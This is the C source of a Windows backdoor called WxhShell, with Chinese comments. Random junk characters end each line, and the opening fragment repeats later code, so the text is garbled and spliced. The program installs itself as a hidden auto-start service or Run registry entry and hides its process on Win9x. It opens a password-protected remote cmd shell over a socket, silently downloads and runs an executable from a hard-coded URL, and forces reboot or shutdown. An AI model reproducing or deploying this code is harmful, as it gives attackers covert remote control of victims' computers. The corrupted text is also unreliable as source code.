    if(Boot(SHUTDOWN)) Q| 6lp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]U,c`?[7#  
    else { X%Lhu6F  
    closesocket(wsh); t)i{=8 rq  
    ExitThread(0); <27:O,I  
    } '#oNOU  
    break; \U?$ r[P  
    } O 7Z?y*  
  // 获取shell Nueb xd  
  case 's': { UG!528;7  
    CmdShell(wsh); , S }  
    closesocket(wsh); xpU7ZY  
    ExitThread(0); ~0 PR>QJ  
    break; 4ZX6=-u^  
  } _=\J:r|Y:  
  // 退出  EL$"/ptE  
  case 'x': { DD?zbN0X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }g9g]\.!a  
    CloseIt(wsh); 2}BQ=%E!'  
    break; rP7[{'%r  
    } }#<mK3MBe  
  // 离开 P&=H<^yd  
  case 'q': { # h/#h\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %aB RL6  
    closesocket(wsh); jY+u OH  
    WSACleanup(); .,9e~6}  
    exit(1); QyEGK  
    break; %0gcNk"=  
        } QF74'  
  } S=@bb$4-T  
  } 7;i [  
dc+U #]tS  
  // 提示信息 ] oMtqkiR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XH`W(  
} zgnZ72%  
  } z|k0${iu#  
qj #C8Tc7  
  return; z*w.A=r  
} _X6@.sM/2  
A hCqQ.O71  
// shell模块句柄 >* )fmfY  
int CmdShell(SOCKET sock) fN!lXPgM  
{ ZYexW=@  
STARTUPINFO si; .*k$abb  
ZeroMemory(&si,sizeof(si)); N+9W2n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i>aIuQ`pe  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I)AbH<G{  
PROCESS_INFORMATION ProcessInfo; Ds<~JfVl  
char cmdline[]="cmd"; +I>V9%%vW_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $[xS>iuD  
  return 0; r1A<XP|1?I  
} 49Q tfk  
QUO'{;,  
// 自身启动模式 Yf?hl  
int StartFromService(void) 51Q m2,P1^  
{ Q|7$SS6$  
typedef struct Zn{Y+ce7d  
{ {u (( y D  
  DWORD ExitStatus; TCLXO0  
  DWORD PebBaseAddress; 8-u #<D.  
  DWORD AffinityMask; B4M rrW4=  
  DWORD BasePriority; 1va~.;/rG  
  ULONG UniqueProcessId; :AYhBhitC  
  ULONG InheritedFromUniqueProcessId; Rh :|ij>B  
}   PROCESS_BASIC_INFORMATION; "2=v:\~=  
~#];&WE  
PROCNTQSIP NtQueryInformationProcess; B~h3naSe  
_g2"D[I%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *mjPNp'3{m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N!~5S`  
dQQ!QbI(.  
  HANDLE             hProcess; 6BdK)s  
  PROCESS_BASIC_INFORMATION pbi; ) -^(Su(!  
@j`gx M_-O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dI?x&#(vw  
  if(NULL == hInst ) return 0; =3dR-3  
*w`_(X f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s|[CvjL#0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9-"!v0['  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +/n<]?(T  
_PPn =kuMa  
  if (!NtQueryInformationProcess) return 0; EGysA{o"X  
EpU}~vC9C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ow50M;E  
  if(!hProcess) return 0; WI6h G  
{ u %xc"0y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %}}?Y`/W )  
;u*I#)7  
  CloseHandle(hProcess); PSHzB! H=n  
<f9a%`d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [C`LKA$t  
if(hProcess==NULL) return 0; Y.b?.)u&  
;wa#m1  
HMODULE hMod; VD~ %6AjyN  
char procName[255]; "8iIOeY-\  
unsigned long cbNeeded; GCj[ySCD  
Gq]/6igzX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :ggXVwpe  
.(%]RSBY  
  CloseHandle(hProcess); | r,{#EE  
D%*Ryg  
if(strstr(procName,"services")) return 1; // 以服务启动 < #zd]t  
jRN>^Ur;g  
  return 0; // 注册表启动 f=IF_|@^S  
} ):]5WHYg  
vyvb-oz;u  
// 主模块 L]* 5cH  
int StartWxhshell(LPSTR lpCmdLine) G$[Hm\V  
{ gx.\&W b  
  SOCKET wsl; Yq>K1E|  
BOOL val=TRUE; lFN|)(X  
  int port=0; Y~k,AJ{ ^  
  struct sockaddr_in door; &)izh) FA  
_%wB*u,X  
  if(wscfg.ws_autoins) Install(); `O]$FpO  
<<PXh&wu0  
port=atoi(lpCmdLine); J -z <&9  
6>gm!6`  
if(port<=0) port=wscfg.ws_port; 3Dx@rW\  
- VdCj%r>  
  WSADATA data; AfpC >>=@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NXMZTZpB7  
O$7cN\Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   > zfFvx_q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3/ '5#$  
  door.sin_family = AF_INET; i8A-h6E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;]l`Q,*OXb  
  door.sin_port = htons(port); "^oU&]KQJ  
cI'su?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +y^'\KN  
closesocket(wsl); /5X_gjOL,  
return 1; #wZbG|%  
} 0|6Y% a\U  
a Z8f>t1Q  
  if(listen(wsl,2) == INVALID_SOCKET) { y9U~4  
closesocket(wsl); Tm2+/qO,  
return 1; *z^Au7,&  
}  s&iu+>  
  Wxhshell(wsl); kkIG{Bw  
  WSACleanup(); x~ID[  
AquO#A[,#  
return 0; f\?1oMO\  
= \M6s  
} n?QglN  
K7t_Q8  
// 以NT服务方式启动 aF[#(PF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Sq x'nXgO  
{ Te`MIR  
DWORD   status = 0; NNMn,J  
  DWORD   specificError = 0xfffffff; ?DE{4Ti/[  
akG|ic-~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n}C0gt-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  i (`Q{l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IEe;ygL#  
  serviceStatus.dwWin32ExitCode     = 0; 'vV+Wu#[  
  serviceStatus.dwServiceSpecificExitCode = 0; JkQ\r$ Y.  
  serviceStatus.dwCheckPoint       = 0; x *a_43`  
  serviceStatus.dwWaitHint       = 0; 11%Zx3  
}:S}jo7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;B !p4 hu  
  if (hServiceStatusHandle==0) return; %{jL+4veoL  
nG$+9}\UlP  
status = GetLastError(); {I/t3.R`  
  if (status!=NO_ERROR) "jf_xZ$H-  
{ [Wxf,rW i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U#%+FLX@w  
    serviceStatus.dwCheckPoint       = 0; Lb?0<  
    serviceStatus.dwWaitHint       = 0; I%{ 1K+V/  
    serviceStatus.dwWin32ExitCode     = status; LfJMSscfv  
    serviceStatus.dwServiceSpecificExitCode = specificError; S0ReT*I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OVE?;x>n/1  
    return; rP#&WSLVj  
  } hcz!f  
`O!yt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S263h(H  
  serviceStatus.dwCheckPoint       = 0; Gr'|nR8  
  serviceStatus.dwWaitHint       = 0; NZ?dJ"eq7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UgD)O:xaU  
} 8@ f+?g*i  
$RYOj{1  
// 处理NT服务事件,比如:启动、停止 -wVuM.n(Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) eh8lPTKil  
{ hxt;sQAo{  
switch(fdwControl) q3`~uTzk  
{ q. j$]?PQ  
case SERVICE_CONTROL_STOP: C=bQ2t=Z  
  serviceStatus.dwWin32ExitCode = 0;  yyGn <  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Gz4LjMQ &  
  serviceStatus.dwCheckPoint   = 0; 7eW6$$ju,N  
  serviceStatus.dwWaitHint     = 0; C}ASVywc,1  
  { Qjd]BX;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x`I"%pG  
  } FD[4?\W]#  
  return; 8U n0<+b  
case SERVICE_CONTROL_PAUSE: -C8LM ls  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3S1{r )[j  
  break; t#%J=zF{  
case SERVICE_CONTROL_CONTINUE: `~\8fN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZG? e%  
  break; !3{. V\P)  
case SERVICE_CONTROL_INTERROGATE: d$8K,-M  
  break; u>:j$@56  
}; +O)ZB$w4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +??pej]Rp  
} ?O"zp65d(  
^gkKk&~A5?  
// 标准应用程序主函数 Ec^2tx"=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b}*q*Bq  
{ 5=Y(.}6  
E(&zH;?_  
// 获取操作系统版本 .KtK<Ps[S  
OsIsNt=GetOsVer(); wL}X~Xa3i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~qX wQ@  
)\7Cp-E-W  
  // 从命令行安装 2`> (LH  
  if(strpbrk(lpCmdLine,"iI")) Install(); w ~^{V4V  
or bz`IQc  
  // 下载执行文件 -:~z,F  
if(wscfg.ws_downexe) { h)aLq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k=G c#SD5_  
  WinExec(wscfg.ws_filenam,SW_HIDE); nU0##  
} @H^\PH?pp  
7K+eI!m.s  
if(!OsIsNt) { m>?|*a,  
// 如果时win9x,隐藏进程并且设置为注册表启动 N`qGwNT%G  
HideProc(); 16Jjf|]j  
StartWxhshell(lpCmdLine); D_G]WW8  
} gZ-:4G|J  
else 0.c9 6&  
  if(StartFromService()) #B q|^:nj  
  // 以服务方式启动 G&`5o*).bb  
  StartServiceCtrlDispatcher(DispatchTable); C =B a|Z  
else @, AB 2D  
  // 普通方式启动 rv<qze;?|  
  StartWxhshell(lpCmdLine); Kzy9i/bL  
tK `A_hC  
return 0; ggpa !R  
} l@]Fzl  
d*=qqe H  
b@sq}8YD|z  
\Ym!5,^o  
=========================================== AP8J28I  
ylDfr){  
@}uo:b:Q  
44KWS~  
j&b<YPZ  
Ns#L9T#  
" !3o/c w9  
C4t~k  
#include <stdio.h> prB:E[1  
#include <string.h> 8#4Gs Q"  
#include <windows.h> um\A  
#include <winsock2.h> #a'CoJs   
#include <winsvc.h>  v&7x ~!O  
#include <urlmon.h> _d+` Gw  
bjN"H`Q  
#pragma comment (lib, "Ws2_32.lib") vV*/"'>  
#pragma comment (lib, "urlmon.lib") JeAyT48!M  
K6@ %@v  
#define MAX_USER   100 // 最大客户端连接数 FI)0.p  
#define BUF_SOCK   200 // sock buffer !!m GsgnW  
#define KEY_BUFF   255 // 输入 buffer F5M{`:/  
8%xiHPVg  
#define REBOOT     0   // 重启 ~ H"-km"@  
#define SHUTDOWN   1   // 关机 ey\(*Tu9  
Hq>rK`  
#define DEF_PORT   5000 // 监听端口 O* )BJOPa  
Zm(}~C29  
#define REG_LEN     16   // 注册表键长度 pK'D(t  
#define SVC_LEN     80   // NT服务名长度 Ye^xV,U@  
E/D@;Ym18  
// 从dll定义API Nov An+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U.<ad  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c:s[vghH^#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6 \ %#=GG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZW 5FL-I  
nE :Wl  
// wxhshell配置信息 GkKoc v  
struct WSCFG { FY]Et= p  
  int ws_port;         // 监听端口 ~dLe9-_9  
  char ws_passstr[REG_LEN]; // 口令 ?3i<^@?  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5"+;}E|q  
  char ws_regname[REG_LEN]; // 注册表键名 W;U<,g '  
  char ws_svcname[REG_LEN]; // 服务名 N'|9rB2e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZJ[p7XP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "L9pFz</  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U]ZI_[\'U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5z" X>!?^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^Nysx ~6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "tj]mij2)G  
[.;8GMW  
}; ENf(E9O  
[kPl7[OL  
// default Wxhshell configuration Kn2W{*wD  
struct WSCFG wscfg={DEF_PORT, _cJ\A0h^  
    "xuhuanlingzhe", x7xQrjE  
    1, C.se/\PE  
    "Wxhshell", 5rJ7CfVq  
    "Wxhshell", _$oE'lat  
            "WxhShell Service", ~Q=^YZgn8  
    "Wrsky Windows CmdShell Service", lO}I>yo}\  
    "Please Input Your Password: ", |8{ \j*3  
  1, 2,.8 oa(  
  "http://www.wrsky.com/wxhshell.exe", 4*UKR!sr  
  "Wxhshell.exe" R]o2_r7N"}  
    }; G@<[fO|Iam  
Su'l &]  
// 消息定义模块 T\Jm=+]c!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @^HZTuP2;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Tb] h<S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \x"BgLSE  
char *msg_ws_ext="\n\rExit."; <V#]3$(S  
char *msg_ws_end="\n\rQuit."; #O7phjzgD  
char *msg_ws_boot="\n\rReboot..."; @j%7tfW  
char *msg_ws_poff="\n\rShutdown..."; '9AYE"7Ydk  
char *msg_ws_down="\n\rSave to "; +.X3&|@k  
p,\(j  
char *msg_ws_err="\n\rErr!"; !ed0  
char *msg_ws_ok="\n\rOK!"; <_4'So>  
_ n4C~  
char ExeFile[MAX_PATH]; f6#1sO4"  
int nUser = 0; S^~ lQ|D  
HANDLE handles[MAX_USER]; 4>]B8ZxH  
int OsIsNt; @rr\Jf""z  
hr g'Z5n  
SERVICE_STATUS       serviceStatus; ;Udx|1o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <In+V  
x0xQFlGk  
// 函数声明 m\K1Ex  
int Install(void); a%wa3N=v  
int Uninstall(void); /qd~|[Kx:  
int DownloadFile(char *sURL, SOCKET wsh); QVD^p;b  
int Boot(int flag); %O>_$ 4q  
void HideProc(void); Q?dzro4C  
int GetOsVer(void); IY|>'}UU#  
int Wxhshell(SOCKET wsl); 3[%n@i4H|  
void TalkWithClient(void *cs); .?r} 3Ch  
int CmdShell(SOCKET sock); N$cAX^~  
int StartFromService(void); D]K?ntS[*  
int StartWxhshell(LPSTR lpCmdLine); |1/?>=dDm  
:A,7D(H|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .y#>mXm>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SFRYX,0m  
kX:8sbZ##4  
// 数据结构和表定义  L$[1+*  
SERVICE_TABLE_ENTRY DispatchTable[] = f5.Be%  
{ Vv>hr+e  
{wscfg.ws_svcname, NTServiceMain}, *(nu0  
{NULL, NULL} Bo/i =/7%  
}; 8ya|eJ]/L  
?lIh&C8]X  
// 自我安装 1xsB@D  
int Install(void) 4& 9V  
{ EL9JM}%0v  
  char svExeFile[MAX_PATH]; &"X1w $  
  HKEY key; gE6{R+sp  
  strcpy(svExeFile,ExeFile); N\x<'P4q  
g=S|lVQm  
// 如果是win9x系统,修改注册表设为自启动 J8DKia|h(  
if(!OsIsNt) { smuQ1.b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { byJ[1UK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); , L8(Vo`-  
  RegCloseKey(key); Ewo6Q){X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vH]2t.\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [uu<aRAg3O  
  RegCloseKey(key); zB+zw\ncN  
  return 0; alZ83^YN'  
    } YU1z\pK  
  } f7 zGz  
} aOW$H:b  
else { 5K$d4KT  
sHHu<[psM  
// 如果是NT以上系统,安装为系统服务 vNAQ/Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FX/f0C3CK  
if (schSCManager!=0) #vT~D>zj  
{ R"e533  
  SC_HANDLE schService = CreateService ;x4yidb6  
  ( Njs'v;-K  
  schSCManager, 4zf(  
  wscfg.ws_svcname, n*N`].r#{=  
  wscfg.ws_svcdisp, \p J<@  
  SERVICE_ALL_ACCESS, 6am<V]Hw0F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QeD ;GzG  
  SERVICE_AUTO_START, ]U5/!e  
  SERVICE_ERROR_NORMAL, qApf\o3[0  
  svExeFile, Oa7jLz'i  
  NULL, v?S3G-r  
  NULL, 4-q8:5  
  NULL, _MUSXB'  
  NULL, 2;YL+v2  
  NULL E)( Rhvij  
  ); qLm g18  
  if (schService!=0) +K"d\<  
  { 2sT\+C&H  
  CloseServiceHandle(schService); @5TJ]=  
  CloseServiceHandle(schSCManager); 2Xp?O+b#"O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9 H~OC8R:  
  strcat(svExeFile,wscfg.ws_svcname); 6?3\P>`3Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?rgtbiSW-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (e[8`C  
  RegCloseKey(key); f_tC:T4a  
  return 0; ~a.ei^r  
    } DX8pd5 U  
  } @%$<,$=  
  CloseServiceHandle(schSCManager); h,P#)^"  
} {8J+ Y}  
} ^9oJuT!tu  
"A&HNkRz  
return 1; 6zW3!_tz  
} k!sk\~>YO  
%ZJ;>a#  
// 自我卸载 $U}GX'1LZ  
int Uninstall(void) bF? {  
{ + Scw;gO  
  HKEY key; R(DlJ  
Z=>#|pW,)  
if(!OsIsNt) { WB=|Ty ~l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .V|o-~c  
  RegDeleteValue(key,wscfg.ws_regname); J, vEZT<Mt  
  RegCloseKey(key); 4'0rgS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EnXTL]=0S  
  RegDeleteValue(key,wscfg.ws_regname); X##hSGQM  
  RegCloseKey(key); *W=R:Bl!  
  return 0; _.3O(?p,  
  } hdx"/.s  
} M`.v/UQn  
} {~eVZVv  
else { %n>*jFC  
@ykM98K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I0C$  
if (schSCManager!=0) (Zv/(SE5%  
{ )nA fT0()0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ct30EZ  
  if (schService!=0) h$q=NTV  
  { $qh?$a  
  if(DeleteService(schService)!=0) {  #Up X  
  CloseServiceHandle(schService); 5<L+T  
  CloseServiceHandle(schSCManager); <LA!L  
  return 0; TTzvH;S  
  } O{nM yB  
  CloseServiceHandle(schService); I]Jz[{~1  
  } @j?)uJ0Q  
  CloseServiceHandle(schSCManager); OO`-{HKt  
} ekhx?rz  
} cSs??i D"q  
cAc>p-y%  
return 1; N?krlR  
} @F0+t;  
U<mFwJ C]  
// 从指定url下载文件 @b"J FB|  
int DownloadFile(char *sURL, SOCKET wsh) %oqC5O6  
{ 6$*ZH *  
  HRESULT hr; v6`TbIq%  
char seps[]= "/"; w-9fskd6e  
char *token; ([L5i&DT  
char *file; 0'4V*Y  
char myURL[MAX_PATH]; fI1,L"  
char myFILE[MAX_PATH]; @`Foy  
]-G10p}Ph-  
strcpy(myURL,sURL); !L_\6;aP,x  
  token=strtok(myURL,seps); 7!"OF  
  while(token!=NULL) q\a'pp9d  
  { _qQB.Dzo:  
    file=token; *T{P^q.s~[  
  token=strtok(NULL,seps); .YcI .  
  } 86N"EuH$  
x7 l3&;yDv  
GetCurrentDirectory(MAX_PATH,myFILE); 6Cd% @Q2cr  
strcat(myFILE, "\\"); S,~DA3  
strcat(myFILE, file); RkuPMs Hw;  
  send(wsh,myFILE,strlen(myFILE),0); U k*HRudt  
send(wsh,"...",3,0); E;Sb e9]   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vTY+J$N__  
  if(hr==S_OK) ffqz :6  
return 0; .,5N/p"aV  
else QvN=<V  
return 1; W_ hckq.  
# ^~[\8v>  
} N++jI(  
(:2,Rr1"  
// 系统电源模块 `cBV+00YS  
int Boot(int flag) m?Qr)F_M  
{ J}UG{RttI  
  HANDLE hToken; ,/>hWAx  
  TOKEN_PRIVILEGES tkp; ;.4A,7w#  
k9pOY]_Y  
  if(OsIsNt) { o:irwfArv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,3tcti~sZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A$]&j5nh|  
    tkp.PrivilegeCount = 1; \$] V#@F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,Bg)p_B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qFD#D_O6  
if(flag==REBOOT) { <_~>YJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o|?bvFC  
  return 0; W{!GL  
} Eax^1 |6  
else { b7_uT`<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UfUboxT  
  return 0; %8a886;2  
} #}Qzu~  
  }  mOkf   
  else {  DlWnz-  
if(flag==REBOOT) { ]d|:&h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bEJz>oyW"  
  return 0; uYv"5U]MFv  
} ?-`G0(  
else { v9qgfdBS5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @GpM 4>:  
  return 0; dE[nPtstb  
} &eHhj9  
} W%xg;uzp  
MWxv\o   
return 1; Mr3;B+S  
} ,#FK3;U  
}bxW@(bs  
// win9x进程隐藏模块 8 ;C_@  
void HideProc(void) x!08FL)  
{ F.0CJ7s  
3 0fsVwE2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 23AMrDF=N  
  if ( hKernel != NULL ) dMnJ)R  
  { ?Q ]{P]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Gx]J6Z8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i]@QxzCSF  
    FreeLibrary(hKernel); D~i m1h;>  
  } {{WA=\N8C  
(A\p5@ht  
return; xA-u%Vf7@  
} Wp[R$/uT  
&Q85Bq  
// 获取操作系统版本 eKq`t.*Ft  
int GetOsVer(void) "|6#n34  
{ U?}>A5H  
  OSVERSIONINFO winfo; w,t>M_( N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =&J 7 'nDP  
  GetVersionEx(&winfo); >+ZG {'!j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .1[[Y}  
  return 1; ;;2Yfn'`9  
  else RvQl{aL  
  return 0; wK_I"  
} "AzA|zk')"  
0?tn.<'B8T  
// 客户端句柄模块 7eh<>X!TX  
int Wxhshell(SOCKET wsl) ?5A!/`E&%  
{ ,&1DKx  
  SOCKET wsh; d&dp#)._8  
  struct sockaddr_in client; &3Q!'pJJ  
  DWORD myID; Z*}5M4  
rl0sN5n  
  while(nUser<MAX_USER) ~e ,D`Lv  
{ i9qn_/<c  
  int nSize=sizeof(client); =-r[ s%t &  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yH'vhtop  
  if(wsh==INVALID_SOCKET) return 1; *h`%u8/{  
X5|<qu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G8y:f%I!b  
if(handles[nUser]==0) Y R2Q6}xR  
  closesocket(wsh); J5Nz<  
else S+d@RMdes  
  nUser++; 0jlwL  
  } hpxqL%r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aP%2CP~_P  
rHir> p  
  return 0; iG\ ]  
} dA`.  
D]H@Sx  
// 关闭 socket U9d0nj9 j  
void CloseIt(SOCKET wsh) W3XVr&  
{ aIrQ=}  
closesocket(wsh); vgc #IEx@  
nUser--; B>hC8^.S|w  
ExitThread(0); F ;o ^.  
} z"b}V01F#  
oA^aT:o +  
// 客户端请求句柄 ~VRt 6C  
void TalkWithClient(void *cs) bOt6q/f  
{ 1<y|,  
eVobs2s  
  SOCKET wsh=(SOCKET)cs; 1e 8J-Nkj  
  char pwd[SVC_LEN]; T+OQa+E@P  
  char cmd[KEY_BUFF]; \,-t]$9  
char chr[1]; z$VA]tI(  
int i,j; *?zyF@K{%  
d+1q[,-  
  while (nUser < MAX_USER) { 9 a ED6  
:|s!_G<  
if(wscfg.ws_passstr) { G8w<^z>pTg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O>Vb7`z0<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \"]vSx>  
  //ZeroMemory(pwd,KEY_BUFF); S1iF1X(+?X  
      i=0; pZS0;T]W,  
  while(i<SVC_LEN) { ZeUA  e  
y~.k-b<{[  
  // 设置超时 6;02_C]\o  
  fd_set FdRead; $*035f  
  struct timeval TimeOut; bZ-"R 6a$  
  FD_ZERO(&FdRead); #}/YnVk  
  FD_SET(wsh,&FdRead); ?R7>xrp5  
  TimeOut.tv_sec=8; xQ[~ c1  
  TimeOut.tv_usec=0; ZfPWH'P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U>bmCK2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (vq0Gl  
tgy= .o]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @a08*"lbp  
  pwd=chr[0]; 2yu\f u  
  if(chr[0]==0xd || chr[0]==0xa) { _vQtV]  
  pwd=0; %SG**7  
  break; z|w@eQ",  
  } dM%#DN8 l  
  i++; 3D)gy9T&l  
    } 7oj ^(R,  
G:W4<w  
  // 如果是非法用户,关闭 socket u&q RK>wLa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .?L&k|wX-  
} .eg?FB'7  
d|^cKLu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uSeRn@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .AIlv^:|U  
5pF4{Jd1  
while(1) { ze+_iQ5  
6qW/Td|g  
  ZeroMemory(cmd,KEY_BUFF); Md~% e'  
b51{sL  
      // 自动支持客户端 telnet标准    V Ae@P  
  j=0; q .[hwm  
  while(j<KEY_BUFF) { %^e~;i=2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [0M2`x4`  
  cmd[j]=chr[0]; 4fK(<2i  
  if(chr[0]==0xa || chr[0]==0xd) { > 3<P^-9L  
  cmd[j]=0; ,/d R  
  break; CdxEY  
  } 4eZ  
  j++; &d"c6il[  
    } L/2{}l>D  
So&an !  
  // 下载文件 zh5$$*\  
  if(strstr(cmd,"http://")) { C$9+p@G6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,QDS_u$xi&  
  if(DownloadFile(cmd,wsh)) r-27AJu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LaI(  
  else /%El0X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gk"0r\Eq  
  } ^tWt"GgC  
